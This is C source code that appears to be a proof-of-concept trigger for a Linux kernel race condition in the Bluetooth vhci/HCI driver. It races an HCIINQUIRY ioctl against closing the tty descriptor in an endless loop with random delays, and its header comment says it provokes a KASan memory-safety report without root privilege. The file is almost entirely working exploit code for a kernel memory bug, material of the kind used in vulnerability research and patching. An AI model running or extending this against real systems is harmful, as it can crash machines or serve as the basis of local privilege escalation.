// adopting vhci driver to trigger KASan detection without root privilege (NETADMIN)

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#include "ptmx_sim.h"

int controller = 0;
int random_delay1;
int random_delay2;

const int delta = 10000;

struct hci_inquiry_req {
	__u16 dev_id;
	__u16 flags;
	__u8  lap[3];
	__u8  length;
	__u8  num_rsp;
};

void prepare_random()
{
	random_delay1 = rand() % 80;
	random_delay2 = rand() % 20;
}

void* ioctl_thread(void* arg)
{
	struct pparam pp = *(struct pparam*)arg;
	struct hci_inquiry_req ir;
	ir.dev_id = 0;	   // only 0
	ir.flags = 0x0001; // IREQ_CACHE_FLUSH
	ir.length = 1;     // 2 seconds as unit

	while(!controller);
	usleep(delta);
	usleep(random_delay1);
	ioctl(pp.sock, HCIINQUIRY, &ir);
}

void* closing_thread(void* arg)
{
	struct pparam pp = *(struct pparam*)arg;
	while(!controller);
	usleep(random_delay2);
	close(pp.mfd); // closing tty is much slower than closing vhci descriptor
}

int main(int argc, char* argv[])
{
	srand(time(NULL));
	pthread_t th1, th2;

	while(1) {
		controller = 0;
		// prepare random delay
		prepare_random();
		// get virtual device
		struct pparam test;
		test = initialize_hci_uart();

		pthread_create(&th2, NULL, closing_thread, &test);
		pthread_create(&th1, NULL, ioctl_thread, &test);
		// pthread_create(&th2, NULL, closing_thread, &test);

		controller = 1; // start

		pthread_join(th1, NULL);
		pthread_join(th2, NULL);
		
		// slave for here
		close(test.sfd);
	}
	return 0;
}
